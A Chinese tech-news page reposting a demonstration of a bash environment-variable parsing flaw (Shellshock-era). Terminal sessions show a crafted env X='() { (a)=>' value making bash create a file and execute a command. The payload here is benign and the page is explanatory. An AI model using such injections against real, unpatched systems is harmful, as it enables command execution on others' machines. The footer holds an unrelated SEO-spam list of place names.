新聞中心

        EEPW首頁 > 嵌入式系統 > 設計應用 > 一個linux下的bash安全漏洞

        一個linux下的bash安全漏洞

        作者: 時間:2016-09-12 來源:網絡 收藏

          1. 通過設置一個特殊的環境變量的env,能間接地查到到linux命令的屬性,如下:

        本文引用地址:http://www.104case.com/article/201609/304528.htm

          [2014-09-27 13:00:54 david@davidcchen ~]$ ls -l date

          ls: cannot access date: No such file or directory

          [2014-09-27 13:01:13 david@davidcchen ~]$ env -i X='() { (a)=>' bash -c 'date'

          bash: X: line 1: syntax error near unexpected token `='

          bash: X: line 1: `'

          bash: error importing function definition for `X'

          [2014-09-27 13:01:21 david@davidcchen ~]$ ls -l date

          -rw-rw-r--. 1 david david 0 Sep 27 13:01 date

          [2014-09-27 13:01:27 david@davidcchen ~]$

          2. 一次運行環境變量。

          [2014-09-27 13:01:27 david@davidcchen ~]$ zsh --version

          zsh 4.3.10 (x86_64-redhat-linux-gnu)

          [2014-09-27 13:03:24 david@davidcchen ~]$ bash --version

          GNU bash, version 4.1.2(1)-release (x86_64-redhat-linux-gnu)

          Copyright (C) 2009 Free Software Foundation, Inc.

          License GPLv3+: GNU GPL version 3 or later

          This is free software; you are free to change and redistribute it.

          There is NO WARRANTY, to the extent permitted by law.

          [2014-09-27 13:03:31 david@davidcchen ~]$ env X='() { (a)=>' bash -c echo date; cat echo; rm echo

          bash: X: line 1: syntax error near unexpected token `='

          bash: X: line 1: `'

          bash: error importing function definition for `X'

          Sat Sep 27 13:03:52 CST 2014

          ---------->成功運行date命令

          [2014-09-27 13:03:52 david@davidcchen ~]$



        關鍵詞:

        評論


        相關推薦

        技術專區

        關閉
        主站蜘蛛池模板: 雷州市| 全椒县| 大理市| 缙云县| 广南县| 莆田市| 湟源县| 诸城市| 阿拉尔市| 彰武县| 双牌县| 两当县| 金塔县| 彩票| 东明县| 米易县| 竹山县| 汝南县| 景德镇市| 福泉市| 泸州市| 米易县| 屏山县| 含山县| 西城区| 西安市| 陆川县| 舟山市| 芦山县| 德州市| 抚松县| 开远市| 邯郸县| 荆州市| 恭城| 福安市| 资源县| 台东市| 满洲里市| 汕尾市| 布尔津县|